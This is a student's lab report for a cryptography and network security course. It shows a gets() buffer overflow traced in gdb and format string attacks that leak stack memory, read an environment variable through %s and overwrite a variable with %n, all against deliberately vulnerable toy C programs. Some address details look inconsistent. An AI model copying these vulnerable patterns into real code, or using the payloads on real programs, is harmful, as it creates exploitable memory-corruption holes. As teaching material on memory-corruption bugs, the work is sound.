1. IMPLEMENTING SIMPLE BUFFER OVERFLOWS

2. IMPLEMENTING SIMPLE FORMAT STRING ATTACKS

SUBJECT NAME: CRYPTOGRAPHY AND NETWORK SECURITY

SUBJECT CODE: CS6008

MODULE: 2

NAME	BHUVANESHWAR S
REG.NO	2019103513
DATE	05/04/2022

1) Implementing a simple buffer overflow

AIM :

To implement a buffer overflow attack using binary executable binary files.

TOOLS INVOLVED:

- GCC
- GDB
- KALI LINUX TERMINAL (WSL)

PROBLEM DESCRIPTIONS:

Buffers are memory storage regions that temporarily hold data while it is being transferred from one location to another. A buffer overflow occurs when the volume of data exceeds the storage capacity of the memory buffer. As a result, the program attempting to write the data to buffer overwrites adjacent memory locations.

INPUT:

Getting an input from user in executable binary files.

OUTPUT:

Debug the binary code to find how stack values are modified.

SCREENSHOT:

Filename: overflow.c

```c
#include <stdio.h>

void ReadInput()
{
  char buffer[8];
  gets(buffer);
  puts(buffer);
}

int main()
{
  ReadInput();
  return 0;
}
```

Following output will be

```
┌──(bhuvan㉿Bhuvaneshwar)-[/mnt/e/clg 6th sem/crypto&net security/implem/overflow]
└─$ ./overflow
bhuvan
bhuvan
```

If user enter more than 8 characters.

```
┌──(bhuvan㉿Bhuvaneshwar)-[/mnt/e/clg 6th sem/crypto&net security/implem/overflow]
└─$ ./overflow
AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
```

Because the size of buffer was defined and it filled with more than 8 characters, so the buffer was overflowed.

Let see in gdb debugging.

```
┌──(bhuvan㉿Bhuvaneshwar)-[/mnt/e/clg 6th sem/crypto&net security/implem/overflow]
└─$ gdb -q overflow
Reading symbols from overflow...
(gdb) list
1       #include <stdio.h>
2
3        void ReadInput()
4        {
5          char buffer[8];
6          gets(buffer);
7          puts(buffer);
8        }
9
10       int main()
(gdb)
11       {
12         ReadInput();
13         return 0;
14       }
```

Disassemble

- Main

```
(gdb) disas main
Dump of assembler code for function main:
   0x0000000000001171 <+0>:     push   %rbp
   0x0000000000001172 <+1>:     mov    %rsp,%rbp
   0x0000000000001175 <+4>:     mov    $0x0,%eax
   0x000000000000117a <+9>:     call   0x1149 <ReadInput>
   0x000000000000117f <+14>:    mov    $0x0,%eax
   0x0000000000001184 <+19>:    pop    %rbp
   0x0000000000001185 <+20>:    ret
End of assembler dump.
```

- ReadInput

```
(gdb) disas ReadInput
Dump of assembler code for function ReadInput:
   0x0000000000001149 <+0>:     push   %rbp
   0x000000000000114a <+1>:     mov    %rsp,%rbp
   0x000000000000114d <+4>:     sub    $0x10,%rsp
   0x0000000000001151 <+8>:     lea    -0x8(%rbp),%rax
   0x0000000000001155 <+12>:    mov    %rax,%rdi
   0x0000000000001158 <+15>:    mov    $0x0,%eax
   0x000000000000115d <+20>:    call   0x1040 <gets@plt>
   0x0000000000001162 <+25>:    lea    -0x8(%rbp),%rax
   0x0000000000001166 <+29>:    mov    %rax,%rdi
   0x0000000000001169 <+32>:    call   0x1030 <puts@plt>
   0x000000000000116e <+37>:    nop
   0x000000000000116f <+38>:    leave
   0x0000000000001170 <+39>:    ret
End of assembler dump.
```

3 break point are set at the

- GetInput function
- gets
- puts

```
(gdb) break *main+9
Breakpoint 1 at 0x117a: file overflow.c, line 12.
(gdb) break *ReadInput+20
Breakpoint 2 at 0x115d: file overflow.c, line 6.
(gdb) break *ReadInput+32
Breakpoint 3 at 0x1169: file overflow.c, line 7.
```

Now run the program

- It will run upto breakpoint 1 (*main+9)

```
(gdb) r
Starting program: /mnt/e/clg 6th sem/crypto&net security/implem/overflow/overflow

Breakpoint 1, 0x000055555555517a in main () at overflow.c:12
12          ReadInput();
(gdb) x/8xg $rsp
0x7fffffffdd70: 0x0000000000000000      0x00007ffff7e0d7fd
0x7fffffffdd80: 0x00007fffffffde68      0x00000001f7fcb000
0x7fffffffdd90: 0x0000555555555171      0x00007ffffffe0c9
0x7fffffffdda0: 0x0000555555555190      0x2e930f19a922084b
(gdb) x/8xg $rbp
0x7fffffffdd70: 0x0000000000000000      0x00007ffff7e0d7fd
0x7fffffffdd80: 0x00007fffffffde68      0x00000001f7fcb000
0x7fffffffdd90: 0x0000555555555171      0x00007ffffffe0c9
0x7fffffffdda0: 0x0000555555555190      0x2e930f19a922084b
```

Info register

```
(gdb) info register
rax            0x0                 0
rbx            0x555555555190      93824992235920
rcx            0x7ffff7fb4738      140737353828152
rdx            0x7fffffffde78      140737488346744
rsi            0x7fffffffde68      140737488346728
rdi            0x1                 1
rbp            0x7fffffffdd70      0x7fffffffdd70
rsp            0x7fffffffdd70      0x7fffffffdd70
r8             0x0                 0
r9             0x7ffff7fdc1f0      140737353990640
r10            0x69682ac           110527148
r11            0x206               518
r12            0x555555555060      93824992235616
r13            0x0                 0
r14            0x0                 0
r15            0x0                 0
rip            0x55555555517a      0x55555555517a <main+9>
eflags         0x246               [ PF ZF IF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0
k0             0x200020            2097184
k1             0x11000             69632
k2             0x0                 0
k3             0x0                 0
```

Continue the execution. It will stop at breakpoint 2 gets() (*ReadInput+20).

```
(gdb) c
Continuing.

Breakpoint 2, 0x000055555555515d in ReadInput () at overflow.c:6
6           gets(buffer);
(gdb) x/8xg $rsp
0x7fffffffdd50: 0x0000000000000000      0x0000555555555060
0x7fffffffdd60: 0x00007fffffffdd70      0x000055555555517f
0x7fffffffdd70: 0x0000000000000000      0x00007ffff7e0d7fd
0x7fffffffdd80: 0x00007fffffffde68      0x00000001f7fcb000
(gdb) x/8xg $rbp
0x7fffffffdd60: 0x00007fffffffdd70      0x000055555555517f
0x7fffffffdd70: 0x0000000000000000      0x00007ffff7e0d7fd
0x7fffffffdd80: 0x00007fffffffde68      0x00000001f7fcb000
0x7fffffffdd90: 0x0000555555555171      0x00007fffffffe0c9
(gdb) info register
rax            0x0                 0
rbx            0x555555555190      93824992235920
rcx            0x7ffff7fb4738      140737353828152
rdx            0x7fffffffde78      140737488346744
rsi            0x7fffffffde68      140737488346728
rdi            0x7fffffffdd58      140737488346456
rbp            0x7fffffffdd60      0x7fffffffdd60
rsp            0x7fffffffdd50      0x7fffffffdd50
r8             0x0                 0
r9             0x7ffff7fdc1f0      140737353990640
r10            0x69682ac           110527148
r11            0x206               518
r12            0x555555555060      93824992235616
r13            0x0                 0
r14            0x0                 0
r15            0x0                 0
rip            0x55555555515d      0x55555555515d <ReadInput+20>
```

User input is given with more than 8 bytes. So it overflows the buffer and it overwrites the epb values.

```
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 3, 0x0000555555555169 in ReadInput () at overflow.c:7
7           puts(buffer);
(gdb) x/8xg $rsp
0x7fffffffdd50: 0x0000000000000000      0x4141414141414141
0x7fffffffdd60: 0x4141414141414141      0x4141414141414141
0x7fffffffdd70: 0x4141414141414141      0x4141414141414141
0x7fffffffdd80: 0x0041414141414141      0x00000001f7fcb000
(gdb) x/8xg $rbp
0x7fffffffdd60: 0x4141414141414141      0x4141414141414141
0x7fffffffdd70: 0x4141414141414141      0x4141414141414141
0x7fffffffdd80: 0x0041414141414141      0x00000001f7fcb000
0x7fffffffdd90: 0x0000555555555171      0x00007fffffffe0c9
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
```

SIGSEV due to modified ebp value. Therefore program is terminated.

2) Implementing a format string vulnerabilities

AIM :

To implement a format string attack in executable binary files.

TOOLS INVOLVED:

- GCC
- KALI LINUX TERMINAL (WSL)

PROBLEM DESCRIPTIONS:

The Format String exploit occurs when the submitted data of an input string is evaluated as a command by the application. In this way, the attacker could execute code, read the stack, or cause a segmentation fault in the running application, causing new behaviors that could compromise the security or the stability of the system.

INPUT:

Getting an input password from user in executable binary files.

OUTPUT:

To find how it leaked the memory from the stack based on user inputs.

SCREENSHOT:

FILENAME: frmt_vuln.c

```
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

int main(int argc,char *argv[]){
    char text[1024];
    static int test_val = -72;

    if(argc < 2){
        printf("Usage: %s <text to print>\n",argv[0]);
        exit(0);
    }
    strcpy(text,argv[1]);

    printf("The right way to print user-controlled imput : ");
    printf(" %s\n",text);

    printf("\nThe wrong way to print user-controlled imput : ");
    printf(text);

    printf("\n");

    printf("[+] test_val @ 0x%08x = %d 0x%08x\n",&test_val,test_val);
```

```
    return 0;
}
```

The following output shows the compilations and execution of frmt_vul.c

```
┌──(bhuvan㉿Bhuvaneshwar)-[/mnt/e/clg 6th sem/crypto&net security/implem/format]
└─$ gcc -o frmt_vuln frmt_vuln.c

┌──(bhuvan㉿Bhuvaneshwar)-[/mnt/e/clg 6th sem/crypto&net security/implem/format]
└─$ ./frmt_vuln bhuvaneshwar
The right way to print user-controlled imput :  bhuvaneshwar

The wrong way to print user-controlled imput : bhuvaneshwar
[+] test_val @ 0x9fea0048 = -72 0xd9c2b603

┌──(bhuvan㉿Bhuvaneshwar)-[/mnt/e/clg 6th sem/crypto&net security/implem/format]
└─$ |
```

Both method seem work with the string “bhuvaneshwar”.

If user enter format parameter into the string to access the appropriate function argument by adding to the frame pointer.

```
┌──(bhuvan㉿Bhuvaneshwar)-[/mnt/e/clg 6th sem/crypto&net security/implem/format]
└─$ ./frmt_vuln bhuvaneshwar%x
The right way to print user-controlled imput :  bhuvaneshwar%x

The wrong way to print user-controlled imput : bhuvaneshwar20
[+] test_val @ 0x16f78048 = -72 0xcead5603

┌──(bhuvan㉿Bhuvaneshwar)-[/mnt/e/clg 6th sem/crypto&net security/implem/format]
└─$ |
```

When the %x format parameter was used, the hexadecimal representation of a four-byte word in the stack was printed. This process can be used repeatedly to examine stack memory.

```
┌──(bhuvan㉿Bhuvaneshwar)-[/mnt/e/clg 6th sem/crypto&net security/implem/format]
└─$ ./frmt_vuln $(python3 -c  'print("%08x." * 40)')
The right way to print user-controlled imput :  %08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%0
8x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%0
8x.%08x.

The wrong way to print user-controlled imput : 00000020.00000000.00000000.baa87040.baa870c0.4cba33a8.00000007.78383025.3
0252e78.2e783830.3830252e.252e7838.78383025.30252e78.2e783830.3830252e.252e7838.78383025.30252e78.2e783830.3830252e.252e
7838.78383025.30252e78.2e783830.3830252e.252e7838.78383025.30252e78.2e783830.3830252e.252e7838.ba8fa100.00000000.baad420
0.00000001.00000000.fffffff8.bab08220.bab08220.
[+] test_val @ 0xc56d1048 = -72 0xba9e3603

┌──(bhuvan㉿Bhuvaneshwar)-[/mnt/e/clg 6th sem/crypto&net security/implem/format]
└─$ |
```

Here lower stack memory represented through the printf. Each four-byte word is backward due to an little end architecture.

```
┌──(bhuvan㉿Bhuvaneshwar)-[/mnt/e/clg 6th sem/crypto&net security/implem/format]
└─$ ./frmt_vuln $(python3 -c  'print("\x25\x30\x38\x78\x2e")')
The right way to print user-controlled imput :  %08x.

The wrong way to print user-controlled imput : 00000020.
[+] test_val @ 0x2b7fc048 = -72 0x043ad603

┌──(bhuvan㉿Bhuvaneshwar)-[/mnt/e/clg 6th sem/crypto&net security/implem/format]
└─$ |
```

Here it represent the memory for the format string itself. Because the format function will always be on the highest stack frame as long as the format string stored anywhere one the stack. It will be located below the current frame pointer. It used to control arguments to the format function.

READING FROM ARBITRARY MEMORY ADDRESS

The %s format parameter can be used to read from arbitrary memory addresses. So it possible to read the data of the original format string.

```
┌──(bhuvan㉿Bhuvaneshwar)-[/mnt/e/clg 6th sem/crypto&net security/implem/format]
└─$ ./frmt_vuln BHUVAN%08x.%08x.%08x.%08x

The right way to print user-controlled imput :  BHUVAN%08x.%08x.%08x.%08x

The wrong way to print user-controlled imput : BHUVAN00000020.00000000.00000000.d27a9040
[+] test_val @ 0x90a11048 = -72 0xd2705603

┌──(bhuvan㉿Bhuvaneshwar)-[/mnt/e/clg 6th sem/crypto&net security/implem/format]
└─$ |
```

The four bytes indicates that the fourth format parameter is reading from the beginning of the format string to get its data.

```
┌──(bhuvan㉿Bhuvaneshwar)-[/mnt/e/clg 6th sem/crypto&net security/implem/format]
└─$ env | grep PATH
PATH=/home/bhuvan/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/u
sr/lib/wsl/lib:/mnt/c/Program Files/Common Files/Oracle/Java/javapath:/mnt/c/windows/system32:/mnt/c/windows:/mnt/c/wind
ows/System32/Wbem:/mnt/c/windows/System32/WindowsPowerShell/v1.0/:/mnt/c/windows/System32/OpenSSH/:/mnt/c/Program Files
(x86)/NVIDIA Corporation/PhysX/Common:/mnt/c/Program Files/NVIDIA Corporation/NVIDIA NvDLISR:/mnt/c/Windows/system32:/mn
t/c/Windows:/mnt/c/Windows/System32/Wbem:/mnt/c/Windows/System32/WindowsPowerShell/v1.0/:/mnt/c/Windows/System32/OpenSSH
/:/mnt/d/Program Files/Nodejs/:/mnt/d/Program Files/Git/cmd:/mnt/d/Program Files/Git LFS:/mnt/c/Program Files/OpenSSL-Wi
n64/bin:/mnt/c/Users/bhuva/scoop/shims:/mnt/d/Program Files/Anaconda:/mnt/d/Program Files/Anaconda/Library/mingw-w64/bin
:/mnt/d/Program Files/Anaconda/Library/usr/bin:/mnt/d/Program Files/Anaconda/Library/bin:/mnt/d/Program Files/Anaconda/S
cripts:/mnt/c/Users/bhuva/AppData/Local/Microsoft/WindowsApps:/mnt/c/Users/bhuva/AppData/Local/Programs/Microsoft VS Cod
e/bin:/mnt/c/Users/bhuva/AppData/Roaming/npm:/mnt/d/Program Files/Mingw/MinGW/bin:/mnt/c/Users/bhuva/AppData/Local/GitHu
bDesktop/bin:/mnt/c/Users/bhuva/AppData/Local/Microsoft/WindowsApps/PythonSoftwareFoundation.Python.3.8_qbz5n2kfra8p0/py
thon3.8.exe:/mnt/c/Program Files/MongoDB/Server/5.0/bin:/mnt/d/Program Files/OpenSSL-Win64/bin:/mnt/c/Program Files/JetB
rains/PyCharm Community Edition 2021.3.3/bin

┌──(bhuvan㉿Bhuvaneshwar)-[/mnt/e/clg 6th sem/crypto&net security/implem/format]
└─$ ./getenvaddr PATH ./fmt_vuln
PATH will be at 0x7ffd2399c97b

┌──(bhuvan㉿Bhuvaneshwar)-[/mnt/e/clg 6th sem/crypto&net security/implem/format]
└─$ ./frmt_vuln $(python3 -c  'print("\xd7\xfd\xff\xbf")')%08x.%08x.%08x.%s
The right way to print user-controlled imput :  ×ýÿ¿%08x.%08x.%08x.%s

The wrong way to print user-controlled imput : ×ýÿ¿00000020.00000000.00000000.
[+] test_val @ 0x7f252048 = -72 0xb4bd8603

┌──(bhuvan㉿Bhuvaneshwar)-[/mnt/e/clg 6th sem/crypto&net security/implem/format]
└─$ |
```

Here the getenvaddr program is used to get the address for the environment variable PATH. Since the program name fmt_vuln is two bytes less than getenvaddr, four is added to the address, and the bytes are reversed due to the byte ordering. The fourth format parameter of %s reads from the beginning of the format string, thinking it's the address that was passed as a function argument. Since this address is the address of the PATH environment variable, it is printed as if a pointer to the environment variable were passed to printf().

WRITING TO ARBITRARY MEMORY ADDRESSES

```
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

void bad_function(){
    printf("\nCant be executed\n");
}
```

```c
int main(int argc,char *argv[]){
    int val = 5;

    printf(argv[1],&val);

    if(val == 15)
        bad_function();

    return 0;
}
```

The %n format parameter can be used to write to an arbitrary memory address.

```
┌──(bhuvan㉿Bhuvaneshwar)-[/mnt/e/clg 6th sem/crypto&net security/implem/format]
└─$ ./vuln 1234567890abcdef%n
1234567890abcdef

Cant be executed
```

The value of the variable val is modified to 15 to call the bad_function().